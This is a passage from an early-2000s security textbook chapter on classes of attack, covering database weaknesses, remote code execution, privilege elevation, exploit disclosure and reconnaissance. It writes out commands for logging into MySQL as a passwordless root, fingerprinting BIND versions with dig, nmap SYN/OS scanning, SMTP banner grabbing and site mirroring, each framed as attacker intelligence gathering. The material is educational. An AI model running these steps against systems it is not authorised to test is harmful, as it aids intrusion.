Hat Linux distribution 7.1 has a vulnerability in the upgrade portion of the
package. A user upgrading a system and creating a swap file exposes herself to
having swap memory snooped through.This is due to the creation of the swap
file with world-readable permissions. An attacker on a system could arbitrarily
create a heavy load on system memory, causing the system to use the swap file. In
doing so, the attacker could make a number of copies of swap memory at different
states, which could later be picked through for passwords or other sensitive
information.
www.syngress.com
70 Chapter 3 &iexcl;E Classes of Attack
Attacks against Databases
At one point in my career, I had considered becoming an Oracle database administrator.
I continued on with the systems and security segment of my career. As I
got more exposure to database administration, I discovered the only thing I could
think of that was as stressful as having the entire financial well-being of a company
resting on me would be going to war. And given my pick of the two, I
think I would take the latter.
Databases present a world of opportunity to attackers. Fulfilling our human
needs to organize, categorize, and label things, we have built central locations of
information.These central locations are filled with all sorts of goodies, such as
financial data, credit card information, payroll data, client lists, and so forth.The
thought of insecure database software is enough to keep a CEO awake at night,
let alone send a database administrator into a nervous breakdown. In these days of
post-dot-com crash, e-commerce is still alive and well.And where there is commerce,
there are databases.
Risky Business
Databases are forced to fight a two-front war.They are software, and are therefore
subject to the problems that all software must face, such as buffer overflows, race
conditions, denials of service, and the like. Additionally, databases are usually a
backend for something else, such as a Web interface, graphical user interface tool,
or otherwise. Databases are only as secure as the software they run and the interfaces
they communicate with.
Web interfaces tend to be a habitual problem for databases.The reasons for
this are that Web interfaces fail to filter special characters or that they are
designed poorly and allow unauthorized access, to name only two.This assertion
is backed by the fact that holes are found in drop-in e-commerce packages on a
regular basis.
Handling user-supplied input is risky business. A user can, and usually will,
supply anything to a Web front end. Sometimes this is ignorance on the part of
the user, while other times this is the user attempting to be malicious. Scripts
must be designed to filter out special characters such as the single quote ('), slash
(/), backslash (\), and double quote (") characters, or this will quickly be taken
advantage of.A front-end permitting the passing of special characters to a
database will permit the execution of arbitrary commands, usually with the permission
of the database daemons.
www.syngress.com
Classes of Attack &iexcl;E Chapter 3 71
Poorly designed front-ends are a different story. A poorly designed front-end
will permit a user to interact and manipulate the database in a number of ways.
This can allow an attacker to view arbitrary tables, perform SQL commands, or
even arbitrarily drop tables.These risks are nothing new, but the problems continue
to occur.
Database Software
Database software is an entirely different collection of problems. A database is
only as secure as the software it uses&iexcl;Xoftentimes, that isn&iexcl;&brvbar;t particularly reassuring.
For example,Oracle has database software available for several different platforms.
A vulnerability in the 8.1.5 through 8.1.7 versions of Oracle was discovered
by Nishad Herath and Brock Tellier of Network Associates COVERT Labs.
The problem they found was specifically in the TNS Listener program used with
Oracle.
For the unacquainted,TNS Listener manages and facilitates connections to
the database. It does so by listening on an arbitrary data port, 1521/TCP in
newer versions, and waiting for incoming connections. Once a connection is
received, it allows a person with the proper credentials to log into a database.
The vulnerability, exploited by sending a maliciously crafted Net8 packet to
the TNS Listener process, allows an attacker to execute arbitrary code and gain
local access on the system. For UNIX systems, this bug was severe, because it
allowed an attacker to gain local access with the permissions of the Oracle user.
For Windows systems, this bug was extremely severe, because it allowed an
attacker to gain local access with LocalSystem privileges, equivalent to administrative
access.We discuss code execution in the next section.
SECURITY ALERT
Oracle is not the only company with the problem described in this section.
Browsing various exploit collections or the SecurityFocus vulnerability
database, one can discover vulnerabilities in any number of
database products, such as MySQL and Microsoft SQL. And although this
may lead to the knee-jerk reaction of drawing conclusions about which
product is more secure, do not be fooled. The numbers are deceptive,
because these are only the known vulnerabilities.
www.syngress.com
72 Chapter 3 &iexcl;E Classes of Attack
Database Permissions
Finally, we discuss database permissions.The majority of these databases can use
their own permission schemes separate from the operating system. For example,
version 6.5 and earlier versions of Microsoft&iexcl;&brvbar;s SQL Server can be configured to
use standard security, which means they use their internal login validation process
and not the account validation provided with the operating system. SQL Server
ships with a default system administrator account named SA that has a default
null password.This account has administrator privileges over all databases on the
entire server. Database administrators must ensure that they apply a password to
the SA account as soon as they install the software to their server.
Databases on UNIX can also use their own permission schemes. For example,
MySQL maintains its own list of users separate from the list of users maintained
by UNIX. MySQL has an account named root (which is not to be confused with
the operating system&iexcl;&brvbar;s root account) that, by default, does not have a password. If
you do not enter a password for MySQL&iexcl;&brvbar;s root account, then anyone can connect
with full privileges by entering the following command:
mysql &iexcl;Vu root
If an individual wanted to change items in the grant tables and root was not
passworded, she could simply connect as root using the following command:
mysql &iexcl;Vu root mysql
Even if you assign a password to the MySQL root account, users can connect
as another user by simply substituting the other person&iexcl;&brvbar;s database account name
in place of their own after the &iexcl;Vu if you have not assigned a password to that particular
MySQL user account. For this reason, assigning passwords to all MySQL
users should be a standard practice in order to prevent unnecessary risk.
Remote Arbitrary Code Execution
Remote code execution is one of the most commonly used methods of
exploiting systems. Several noteworthy attacks on high profile Web sites have
been due to the ability to execute arbitrary code remotely. Remote arbitrary
code is serious in nature because it often does not require authentication and
therefore may be exploited by anybody.
Returning to the military scenario, suppose the enemy General&iexcl;&brvbar;s reconnaissance
troops are able to slip past the other side&iexcl;&brvbar;s guards.They can then sit and
map the others&iexcl;&brvbar; position, and return to the General with camp coordinates, as
well as the coordinates of things within the opposing side&iexcl;&brvbar;s camp.
www.syngress.com
Classes of Attack &iexcl;E Chapter 3 73
The General can then pass this information to his Fire Support Officer
(FSO), and the FSO can launch several artillery strikes to &iexcl;§soften them up.&iexcl;&uml; But
suppose for a moment that the opposing side knows about the technology
behind the artillery pieces the General&iexcl;&brvbar;s army is using. And suppose that they
have the capability to remotely take control of the coordinates input into the
General&iexcl;&brvbar;s artillery pieces&iexcl;Xthey would be able to turn the pieces on the General&iexcl;&brvbar;s
own army.
This type of control is exactly the type of control an attacker can gain by
executing arbitrary code remotely. If the attacker can execute arbitrary code
through a service on the system, the attacker can use the service against the
system, with power similar to that of using an army&iexcl;&brvbar;s own artillery against them.
Several methods allow the execution of arbitrary code.Two of the most common
methods used are buffer overflows and format string attacks.
NOTE
For additional buffer overflow information, study Aleph1&iexcl;&brvbar;s &iexcl;§Smashing
The Stack For Fun And Profit,&iexcl;&uml; Phrack issue 49, article 14 available at
www.phrack.com/show.php?p=49&a=14. For information within this
book, turn to Chapter 8.
For information on format string vulnerabilities, Chapter 9 includes a
detailed discussion of format string vulnerabilities. Additionally, study
Team Teso&iexcl;&brvbar;s whitepaper at www.team-teso.net/articles/formatstring/
index.html.
The Attack
Remote code execution is always performed by an automated tool.Attempting
to manually remotely execute code would be at the very best near impossible.
These attacks are typically written into an automated script.
Remote arbitrary code execution is most often aimed at giving a remote user
administrative access on a vulnerable system.The attack is usually prefaced by an
information gathering attack, in which the attacker uses some means such as an
automated scanning tool to identify the vulnerable version of software. Once
identified, the attacker executes the script against the program with hopes of
gaining local administrative access on the host.
www.syngress.com
74 Chapter 3 &iexcl;E Classes of Attack
Once the attacker has gained local administrative access on the system, the
attacker initiates the process discussed in the &iexcl;§Misinformation&iexcl;&uml; section.The
attacker will do his best to hide his presence inside the system. Following that, he
may use the compromised host to launch remote arbitrary code execution attacks
against other hosts.
Although remote execution of arbitrary code can allow an attacker to execute
commands on a system, it is subject to some limitations.
Code Execution Limitations
Remote arbitrary code execution is bound by limitations such as ownership and
group membership.These limitations are the same as imposed on all processes
and all users
On UNIX systems, processes run on ports below 1024 are theoretically rootowned
processes. However, some software packages, such as the Apache Web
Server, are designed to change ownership and group membership, although it
must be started by the superuser. An attacker exploiting an Apache HTTP process
would gain only the privileges of the HTTP server process.This would allow the
attacker to gain local access, although as an unprivileged user. Further elevation of
privileges would require exploiting another vulnerability on the local system.This
limitation makes exploiting nonprivileged processes tricky, as it can lead to being
caught when system access is gained.
The changing of a process from execution as one user of higher privilege to a
user of lower privilege is called dropping privileges. Apache can also be placed in a
false root directory that isolates the process, known as change root, or chroot.
A default installation of Apache will drop privileges after being started. A separate
infrastructure has been designed for chroot, including a program that can
wrap most services and lock them into what is called a chroot jail.The jail is
designed to restrict a user to a certain directory.The chroot program will allow
access only to programs and libraries from within that directory.This limitation
can also present a trap to an attacker not bright enough to escape the jail.
If the attacker finds himself with access to the system and bound by these limitations,
the attacker will likely attempt to gain elevated privileges on the system.
Elevation of Privileges
Of all attacks launched, elevation of privileges is certainly the most common.An
elevation of privileges occurs when a user gains access to resources that were not
authorized previously.These resources may be anything from remote access to a
www.syngress.com
Classes of Attack &iexcl;E Chapter 3 75
system to administrative access on a host. Privilege elevation comes in various
forms.
Remote Privilege Elevation
Remote privilege elevation can be classified to fall under one of two categories.
The first category is remote unprivileged access, allowing a remote user unauthorized
access to a system as a regular user.The second type of remote privilege
elevation is instantaneous administrative access.
A number of different vectors can allow a user to gain remote access to a
system.These include topics we have previously discussed, such as the filtering of
special characters by Web interfaces, code execution through methods such as
buffer overflows or format string bugs, or through data obtained from information
leakage. All of these problems pose serious threats, with the end result being
potential disaster.
Remote Unprivileged User Access
Remote privilege elevation to an unprivileged user is normally gained through
attacking a system and exploiting an unprivileged process.This is defined as an
elevation of privileges mainly because the attacker previously did not have access
to the local system, but does now. Some folks may scoff at this idea, as I once did.
David Ahmad, the moderator of Bugtraq, changed my mind.
One night over coffee, he and I got on the topic of gaining access to a
system.With my history of implementing secure systems, I was entirely convinced
that I could produce systems that were near unbreakable, even if an attacker were
to gain local access. I thought that measures such as non-executable stacks,
restricted shells, chrooted environments, and minimal setuid programs could keep
an attacker from gaining administrative access for almost an eternity. Later on that
evening, Dave was kind enough to show me that I was terribly, terribly wrong.
Attackers can gain local, unprivileged access to a system through a number of
ways. One way is to exploit an unprivileged service, such as the HTTP daemon,
a chrooted process, or another service that runs as a standard user. Aside from
remotely executing code to spawn a shell through one of these services, attackers
can potentially gain access through other vectors. Passwords gained through ASP
source could lead to an attacker gaining unprivileged access under some circumstances.
A notorious problem is, as we discussed previously, the lack of specialcharacter
filtering by Web interfaces. If an attacker can pass special characters
through a Web interface, the attacker may be able to bind a shell to a port on the
www.syngress.com
76 Chapter 3 &iexcl;E Classes of Attack
system. Doing so will not gain the attacker administrative privileges, but it will
gain the attacker access to the system with the privileges of the HTTP process.
Once inside, to quote David Ahmad,&iexcl;§it&iexcl;&brvbar;s only a matter of time.&iexcl;&uml;
Remote Privileged User Access
Remote privileged user access is the more serious of the two problems. If a
remote user can obtain access to a system as a privileged user, the integrity of the
system is destined to collapse. Remote privileged user access can be defined as an
attacker gaining access to a system with the privileges of a system account.These
accounts include uucp, root, bin, and sys on UNIX systems, and Administrator or
LocalSystem on Windows 2000 systems.
The methods of gaining remote privileged user access are essentially the same
as those used to gain unprivileged user attacks. A few key differences separate the
two, however. One difference is in the service exploited.To gain remote access as
a privileged user, an attacker must exploit a service that runs as a privileged user.
The majority of UNIX services still run as privileged users. Some of these,
such as telnet and SSH, have recently been the topic of serious vulnerabilities.
The SSH bug is particularly serious.The bug, originally discovered by Michal
Zalewski, was originally announced in February of 2001. Forgoing the deeply
technical details of the attack, the vulnerability allowed a remote user to initiate a
malicious cryptographic session with the daemon. Once the session was initiated,
the attacker could exploit a flaw in the protocol to execute arbitrary code, which
would run with administrative privileges, and bind a shell to a port with the
effective userid of 0.
Likewise, the recent vulnerability in Windows 2000 IIS made possible a
number of attacks on Windows NT systems. IIS 5.0 executes with privileges
equal to that of the Administrator.The problem was a buffer overflow in the
ISAPI indexing infrastructure of IIS 5.0.This problem made possible numerous
intrusions, and the Code Red worm and variants.
Remote privileged user access is also the goal of many Trojans and backdoor
programs. Programs such as SubSeven, Back Orifice, and the many variants produced
can be used to allow an attacker remote administrative privileges on an
infected system.The programs usually involve social engineering, broadly defined
as using misinformation or persuasion to encourage a user to execute the program.
Though the execution of these programs do not give an attacker elevated
privileges, the use of social engineering by an attacker to encourage a privileged
user to execute the program can allow privileged access. Upon execution, the
attacker needs simply to use the method of communication with the malicious
www.syngress.com
Classes of Attack &iexcl;E Chapter 3 77
program to watch the infected system, perform operations from the system, and
even control the users ability to operate on the system.
Other attacks may gain a user access other than administrative, but privileged
nonetheless. An attacker gaining this type of access is afforded luxuries over the
standard user, because this allows the attacker access to some system binaries, as
well as some sensitive system facilities. A user exploiting a service to gain access as
a system account other than administrator or root will likely later gain administrative
privileges.
These same concepts may also be applied to gaining local privilege elevation.
Through social engineering or execution of malicious code, a user with local
unprivileged access to a system may be able to gain elevated privileges on the
local host.
Identifying Methods of
Testing for Vulnerabilities
Testing a system for vulnerabilities is the best way to ensure that the system is, or
is not, vulnerable to a particular problem.Vulnerability testing is a necessary and
mandatory task for anybody involved with the administration or security of
information systems.You can only ensure system security by attempting to break
into your own systems.
Up to this point, we have discussed the different types of vulnerabilities that
may be used to exploit a system. In this section, we discuss the methods of
finding and proving that vulnerabilities exist, including exploit code.We also discuss
some of the methods used in gathering information prior to launching an
attack on a system, such as the use of Nmap.
Proof of Concept
One standard method used among the security community is what is termed
proof of concept. Proof of concept can be roughly defined as an openly discussed
and reliable method of testing a system for a vulnerability. It is usually supplied by
either a vendor, or a security researcher in a full disclosure forum.
Proof of concept is used to demonstrate that a vulnerability exists. It is not a
exploit per se, but more of a demonstration of the problem through either some
small segment of code that does not exploit the system for the attacker&iexcl;&brvbar;s gain, or
a technical description that shows a user how to reproduce the problem.This
proof of concept can be used by a member of the community to identify the
www.syngress.com
78 Chapter 3 &iexcl;E Classes of Attack
source of the problem, recommend a workaround, and in some cases recommend
a fix prior to the release of a vendor-released patch. It can also be used to identify
vulnerable systems.
Proof of concept is used as a tool to notify the security community of the
problem, while giving a limited amount of details.The goal of this approach is
simply to produce a time buffer between the time when the vulnerability is
announced, to the time when malicious users begin producing code to take
advantage of this vulnerability and go into a frenzy of attacks.The time buffer is
created for the benefit of the vendor to give them time to produce a patch for
the problem and release it.
Exploit Code
Another method used in the community is exploit code. Exploit code can be
roughly defined as a program that is designed to take advantage of a problem in
some piece of software and to execute a set of commands of the attacker&iexcl;&brvbar;s
choosing to take advantage of the software. Exploit code will allow a user to take
advantage of a problem for personal gain.
Exploit code is also a type of proof of concept. It is designed to show more
detail of how the vulnerability can be attacked and exploited and to prove further
that the vulnerability is not theoretical. Exploit code can be written in one of any
number of languages, including C, Perl, and Assembly.
Exploit code is a double-edged sword. It provides the community with a
working program to demonstrate the vulnerability, take advantage of the vulnerability,
and produce some gain to the user executing the program. It also makes
the attack of systems by malicious users possible. Exploit code is in general a
good thing, because it offers clarity in exploitation of the vulnerability, and provides
motivation to vendors to produce a patch.
Often, a vendor will happily take its sweet time to produce a patch for the
problem, allowing attackers who may know of the problem, and have their own
working exploit for the problem, to take advantage of it and break into systems.
Producing a working exploit and releasing it to the community is a method of
lighting a fire of motivation under the rear-ends of vendors, making them the
responsible party for producing results after the vulnerability has been
announced.
The system is, as mentioned, a double-edged sword. Releasing a working
exploit means releasing a working program that takes advantage of a problem to
allow the user of the program personal gain. Most forums that communicate
technical details in the vulnerability of software and share working exploits in
www.syngress.com
Classes of Attack &iexcl;E Chapter 3 79
programs are monitored by many members, all with their own motivations.The
release of such a program can allow members with less scruples than others to
take advantage of the freely available working exploits, and use them for personal
and malicious gain.
Automated Security Tools
Automated security tools are software packages designed by vendors to allow
automated security testing.These tools are typically designed to use a nice user
interface and generate reports.The report generation feature allows the user of
the tool to print out a detailed list of problems with a system and track progress
on securing the system.
Automated security tools are yet another double-edged sword.They allow
legitimate users of the tools to perform audits to secure their networks and track
progress of securing systems.They also allow malicious users with the same tool
to identify vulnerabilities in hosts and potentially exploit them for personal gain.
Automated security tools are beneficial to all.They provide users who may be
lacking in some areas of technical knowledge the capability to identify and secure
vulnerable hosts.The more useful tools offer regular updates, with plug-ins
designed to test for new or recent vulnerabilities.
A few different vendors provide these tools. Commercially available are the
CyberCop Security Scanner by Network Associates, NetRecon by Symantec, and
the Internet Scanner by Internet Security Systems. Freely available is Nessus,
from the Nessus Project. For more details, see Chapter 17 of this book.
Versioning
Versioning is the failsafe method of testing a system for vulnerabilities. It is the
least entertaining to perform in comparison to the previously mentioned
methods. It does, however, produce reliable results.
Versioning consists of identifying the versions, or revisions, of software a
system is using.This can be complex, because many software packages include a
version, such as Windows 2000 Professional, or Solaris 8, and many packages
included with a versioned piece of software also include a version, such as wget
version 1.7.This can prove to be added complexity, and often a nightmare in
products such as a Linux distribution, which is a cobbled-together collection of
software packages, all with their own versions.
Versioning is performed by monitoring a vendor list.The concept is actually
quite simple&iexcl;Xit entails checking software packages against versions announced to
www.syngress.com
80 Chapter 3 &iexcl;E Classes of Attack
have security vulnerabilities.This can be done through a variety of methods. One
method is to actually perform the version command on a software package, such
as the uname command, shown in Figure 3.7.
Another method is using a package tool or patch management tool supplied
by a vendor to check your system for the latest revision (see Figure 3.8).
Versioning can be simplified in a number of ways. One is to produce a
database containing the versions of software used on any one host. Additionally,
creating a patch database detailing which fixes have been applied to a system can
ease frustration, misallocation of resources, and potential vulnerability.
Standard Research Techniques
It has been said that 97 percent of all attackers are script kiddiots.The group to
worry about is the other three percent.This group is exactly who you want to
emulate in your thinking. Lance Spitzner, one of the most well rounded security
www.syngress.com
Figure 3.7 uname &iexcl;Va Gives Kernel Revision on a Linux Machine
Classes of Attack &iexcl;E Chapter 3 81
engineers (and best all-around guys) in the security community wrote some documents
sometime ago that summed it up perfectly. Borrowing a maxim written
by Sun Tzu in The Art of War, Spitzner&iexcl;&brvbar;s papers were titled &iexcl;§Know Your Enemy.&iexcl;&uml;
They are available through the Honeynet Project at http://project.honeynet.org.
We should first define an intelligent attack. An attack is an act of aggression.
Intelligence insinuates that cognitive skills are involved. Launching an intelligent
attack means first gathering intelligence.This can be done through information
leakage or through a variety of other resource available on the Internet. Let&iexcl;&brvbar;s look
at some methods used via a Whois database, the Domain Name System (DNS),
Nmap, and Web indexing.
Whois
The Whois database is a freely available compilation of information designed to
maintain contact information for network resources. Several Whois databases are
www.syngress.com
Figure 3.8 showrev &iexcl;Vp on a Sun Solaris System
82 Chapter 3 &iexcl;E Classes of Attack
available, including the dot-com Whois database, the dot-biz Whois database, and
the American Registry of Internet Numbers database, containing name servicebased
Whois information, and network-based Whois information.
Name Service-Based Whois
Name service-based Whois data provides a number of details about a domain.
These details include the registrant of the domain, the street address the domain
is registered to, and a contact number for the registrant.This data is supplied to
facilitate the communication between domain owners in the event of a problem.
This is the ideal method of handling problems that arise, although these days the
trend seems to be whining to the upstream provider about a problem first (which
is extremely bad netiquette). Observe the following information:
elliptic@ellipse:~$ whois cipherpunks.com
Whois Server Version 1.3
Domain names in the .com, .net, and .org domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.
Domain Name: CIPHERPUNKS.COM
Registrar: ENOM, INC.
Whois Server: whois.enom.com
Referral URL: http://www.enom.com
Name Server: DNS1.ENOM.COM
Name Server: DNS2.ENOM.COM
Name Server: DNS3.ENOM.COM
Name Server: DNS4.ENOM.COM
Updated Date: 05-nov-2001
>>> Last update of whois database: Mon, 10 Dec 2001 05:15:40 EST <<<
The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and
Registrars.
www.syngress.com
Classes of Attack &iexcl;E Chapter 3 83
Found InterNIC referral to whois.enom.com.
Access to eNom's Whois information is for informational
purposes only. eNom makes this information available "as is,"
and does not guarantee its accuracy. The compilation, repackaging,
dissemination or other use of eNom's Whois information in its
entirety, or a substantial portion thereof, is expressly prohibited
without the prior written consent of eNom, Inc. By accessing and
using our Whois information, you agree to these terms.
Domain name: cipherpunks.com
Registrant:
Cipherpunks
Elliptic Cipher (elliptic@cipherpunks.com)
678-464-0377
FAX: 770-393-1078
PO Box 211206
Montgomery, AL 36121
US
Administrative:
Cipherpunks
Elliptic Cipher (elliptic@cipherpunks.com)
678-464-0377
FAX: 770-393-1078
PO Box 211206
Montgomery, AL 36121
US
www.syngress.com
84 Chapter 3 &iexcl;E Classes of Attack
Billing:
Cipherpunks
Elliptic Cipher (elliptic@cipherpunks.com)
678-464-0377
FAX: 770-393-1078
PO Box 211206
Montgomery, AL 36121
US
Technical:
Cipherpunks
Elliptic Cipher (elliptic@cipherpunks.com)
678-464-0377
FAX: 770-393-1078
PO Box 211206
Montgomery, AL 36121
US
DOMAIN CREATED : 2000-11-12 23:57:56
DOMAIN EXPIRES : 2002-11-12 23:57:56
NAMESERVERS:
DNS1.ENOM.COM
DNS2.ENOM.COM
DNS3.ENOM.COM
DNS4.ENOM.COM
In this example, you can see the contact information for the owner of the
Cipherpunks.com domain. Included are the name, contact number, fax number,
and street address of the registering party.
The Whois database for name service also contains other information, some
of which could allow exploitation. One piece of information contained in name
www.syngress.com
Classes of Attack &iexcl;E Chapter 3 85
service records is the domain name servers.This data can present a user with a
method to attack and potentially control a domain.
Another piece of information that is regularly abused in domain name
records is the e-mail address. In a situation where multiple people are administering
a domain, an attacker could use this information to launch a social engineering
attack. More often then not though, this information is targeted by
spammers. Companies such as Network Solutions even sell this information to
&iexcl;§directed marketing&iexcl;&uml; firms (also know as spam companies) to clutter your mail
box with all kinds of rubbish, according to Newsbytes article &iexcl;§ICANN To Gauge
Privacy Concerns Over &iexcl;&yen;Whois&iexcl;&brvbar; Database&iexcl;&uml; available at www.newsbytes.com/
news/01/166711.html.
Network Service-Based Whois
Network service-based Whois data provides details of network management data.
This data can aid network and security personnel with the information necessary
to reach a party responsible for a host should a problem ever arise. It provides
data such as the contact provider of the network numbers, and in some situations
the company leasing the space. Observe the following Whois information:
elliptic@ellipse:~$ whois -h whois.arin.net 66.38.151.10
GT Group Telecom Services Corp. (NETBLK-GROUPTELECOM-BLK-
3) GROUPTELECOM-BLK-3
66.38.128.0 - 66.38.255.255
Security Focus (NETBLK-GT-66-38-151-0) GT-66-38-151-0
66.38.151.0 - 66.38.151.63
To single out one record, look it up with "!xxx", where xxx is the
handle, shown in parenthesis following the name, which comes first.
The ARIN Registration Services Host contains ONLY Internet
Network Information: Networks, ASN's, and related POC's.
Please use the whois server at rs.internic.net for DOMAIN related
Information and whois.nic.mil for NIPRNET Information.
As you can see from this information, the address space from 66.38.151.0
through 66.38.151.63 is used by SecurityFocus. Additionally, this address space is
owned by GT Group Telecom.
www.syngress.com
86 Chapter 3 &iexcl;E Classes of Attack
This information can give an attacker boundaries for a potential attack. If the
attacker wanted to compromise a host on a network belonging to SecurityFocus,
the attacker would need only target the hosts on the network segment supplied
by ARIN.The attacker could then use a host on the network to target other
hosts on the same network, or even different networks.
Domain Name System
Domain Name System (DNS) is another service an attacker may abuse to gain
intelligence before making an attack on a network. DNS is used by every host on
the Internet, and provides a choke point through its design.We do not focus on
the problems with the protocol, but more on abusing the service itself.
A host of vulnerabilities have been discovered in the most widely deployed
name service resolving package on the Internet.The Berkeley Internet Name
Domain, or BIND, has in the past had a string of vulnerabilities that could allow
an attacker to gain remote administrative access. Also notable is the vulnerability
in older versions that allowed attackers to poison the DNS cache, fooling clients
into visiting a different site when typing a domain name. Let&iexcl;&brvbar;s look at the
methods of identifying vulnerable implementations of DNS.
Digging
Dig is freely available&iexcl;Xit&iexcl;&brvbar;s distributed with BIND packages. It is a flexible command-
line tool that can be used to gather information from DNS servers. Dig
can be used both in command-line and interactive modes.The dig utility is supplied
with many free operating systems and can be downloaded as part of the
BIND package from the Internet Software Consortium.
Dig can be used to resolve the names of hosts into IP addresses, and reverseresolve
IP addresses into names.This can be useful, because many exploits do not
include the ability to resolve names, and need numeric addresses to function.
Dig can also be used to gather version information from name servers. In
doing so, an attacker may be able to gather information on a host and potentially
launch an attack. By identifying the version of a name server, we may be able to
find a name server that can be attacked and exploited to our gain (recall our discussion
about versioning).
Consider the following example use of dig:
elliptic@ellipse:~$ dig @pi.cipherpunks.com TXT CHAOS version.bind
; <<>> DiG 8.2 <<>> @pi.cipherpunks.com TXT CHAOS version.bind
www.syngress.com
Classes of Attack &iexcl;E Chapter 3 87
; (1 server found)
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUERY SECTION:
;; version.bind, type = TXT, class = CHAOS
;; ANSWER SECTION:
VERSION.BIND. 0S CHAOS TXT "8.2.1"
;; Total query time: 172 msec
;; FROM: ellipse to SERVER: pi.cipherpunks.com 192.168.1.252
;; WHEN: Mon Dec 10 07:53:27 2001
;; MSG SIZE sent: 30 rcvd: 60
From this query, we were able to identify the version of BIND running on
pi, in the cipherpunks.com domain. As you can see, pi is running a version of
BIND that is vulnerable to a number of attacks, one of which is NXT buffer
overflow discovered in 1999, and allows an attacker to gain remote access to the
vulnerable system with the privileges of BIND (typically run as root).
Loosely implemented name services may also yield more information than
expected. Utilities such as dig can perform other DNS services, such as a zone
transfer.A zone transfer is the function used by DNS to distribute its name service
records to other hosts. By manually pulling a zone transfer, an attacker can
gain valuable information about systems and addresses managed by a name server.
nslookup
nslookup, short for Name Service Lookup, is another utility that can be handy. It
can yield a variety of information, both good and bad. It is also freely available
from the Internet Software Consortium.
nslookup works much the same way as dig, and like dig provides both a command
line and interactive interface to work from. Upon use, nslookup will seek
out information on hosts through DNS and return the information. nslookup
can yield information about a domain that may be sensitive as well, albeit public.
For example, nslookup can be used to find information about a domain such
as the Mail Exchanger, or MX record.This can lead to a number of attacks
www.syngress.com
88 Chapter 3 &iexcl;E Classes of Attack
against a mail server, including attempting to spam the mail server into a denial of
service, attacking the software to attempt to gain access to the server, or using the
mail server to spam other hosts if it permits relaying. Observe the following
example:
elliptic@ellipse:~$ nslookup
Default Server: cobalt.speakeasy.org
Address: 216.231.41.22
> set type=MX
> cipherpunks.com.
Server: cobalt.speakeasy.org
Address: 216.231.41.22
cipherpunks.com preference = 10, mail exchanger = parabola.
cipherpunks.com
cipherpunks.com nameserver = DNS1.ENOM.COM
cipherpunks.com nameserver = DNS2.ENOM.COM
cipherpunks.com nameserver = DNS3.ENOM.COM
cipherpunks.com nameserver = DNS4.ENOM.COM
cipherpunks.com nameserver = DNS5.ENOM.COM
DNS1.ENOM.COM internet address = 66.150.5.62
DNS2.ENOM.COM internet address = 63.251.83.36
DNS3.ENOM.COM internet address = 66.150.5.63
DNS4.ENOM.COM internet address = 208.254.129.2
DNS5.ENOM.COM internet address = 210.146.53.77
Here, you can see the mail exchanger for the cipherpunks.com domain.The
host, parabola.cipherpunks.com, can then be tinkered with to gain more information.
For example, if the system is using a version of Sendmail that allows you to
expand user accounts, you could find out the e-mail addresses of the system
administrators. It can also yield what type of mail transport agent software is
being used on the system, as in the following example:
elliptic@ellipse:~$ telnet modulus.cipherpunks.com 25
Trying 192.168.1.253...
Connected to 192.168.1.253.
www.syngress.com
Classes of Attack &iexcl;E Chapter 3 89
Escape character is '^]'.
220 modulus.cipherpunks.com ESMTP Server (Microsoft Exchange Internet
Mail Service 5.5.2448.0) ready
As you can see, the mail server happily tells us what kind of software it is
(Microsoft Exchange). From that, you can draw conclusions about what type of
operating system runs on the host modulus.
Nmap
An attack to gain access to a host must be launched against a service running on
the system.The service must be vulnerable to a problem that will allow the
attacker to gain access. It is possible to guess what services the system uses from
some methods of intelligence gathering. It is also possible to manually probe
ports on a system with utilities such as netcat to see if connectivity can be made
to the service.
The process of gathering information on the available services on a system is
simplified by tools such as the Network Mapper, or Nmap. Nmap, as we previously
mentioned, uses numerous advanced features when launched against a
system to identify characteristics of a host.These features include things such as
variable TCP flag scanning and IP response analysis to guess the operating system
and identify listening services on a host.
Nmap can be used to identify services on a system that are open to public
use. It can also identify services that are listening on a system but are filtered
through an infrastructure such as TCP Wrappers, or firewalling. Observe the following
output:
elliptic@ellipse:~$ nmap -sS -O derivative.cipherpunks.com
Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ )
Interesting ports on derivative.cipherpunks.com (192.168.1.237):
(The 1533 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
22/tcp open ssh
23/tcp filtered telnet
25/tcp open smtp
37/tcp open time
www.syngress.com
90 Chapter 3 &iexcl;E Classes of Attack
53/tcp open domain
80/tcp open http
110/tcp open pop-3
143/tcp open imap2
Remote operating system guess: Solaris 2.6 - 2.7
Uptime 11.096 days (since Thu Nov 29 08:03:12 2001)
Nmap run completed -- 1 IP address (1 host up) scanned in 60 seconds
Let&iexcl;&brvbar;s examine this scan a piece at a time. First, we have the execution of
Nmap with the sS and O flags.These flags tell Nmap to conduct a SYN scan on
the host, and identify the operating system from the IP responses received. Next,
we see three columns of data. In the first column from the left to right, we see
the port and protocol that the service is listening on. In the second column, we
see the state of the state of the port, either being filtered (as is the telnet service,
which is TCP Wrapped), or open to public connectivity, like the rest.
Web Indexing
The next form of intelligence gathering we will mention is Web indexing, or what
is commonly called spidering. Since the early 90s, companies such as Yahoo!,
WebCrawler, and others have used automated programs to crawl sites, and index
the data to make it searchable by visitors to their sites.This was the beginning of
the Web Portal business.
Site indexing is usually performed by an automated program.These programs
exist in many forms, by many different names. Some different variants of these
programs are robots, spiders, and crawlers, all of which perform the same function
but have distinct and different names for no clear reason.These programs follow
links on a given Web site and record data on each page visited.The data is
indexed and referenced in a relational database and tied to the search engine.
When a user visits the portal, searching for key variables will return a link to the
indexed page.
However, what happens when sensitive information contained on a Web site is
not stored with proper access control? Because data from the site is archived, this
could allow an attacker to gain access to sensitive information on a site and gather
intelligence by merely using a search engine.As mentioned before, this is not a new
www.syngress.com
Classes of Attack &iexcl;E Chapter 3 91
problem. From the present date all the way back to the presence of the first search
engines, this problem has existed. Unfortunately, it will continue to exist.
The problem is not confined to portals.Tools such as wget can be used to
recursively extract all pages from a site.The process is as simple as executing the
program with the sufficient parameters. Observe the following example:
elliptic@ellipse:~$ wget -m -x http://www.mrhal.com
--11:27:35-- http://www.mrhal.com:80/
=> `www.mrhal.com/index.html'
Connecting to www.mrhal.com:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 1,246 [text/html]
0K -> . [100%]
11:27:35 (243.36 KB/s) - `www.mrhal.com/index.html' saved [1246/1246]
Loading robots.txt; please ignore errors.
--11:27:35-- http://www.mrhal.com:80/robots.txt
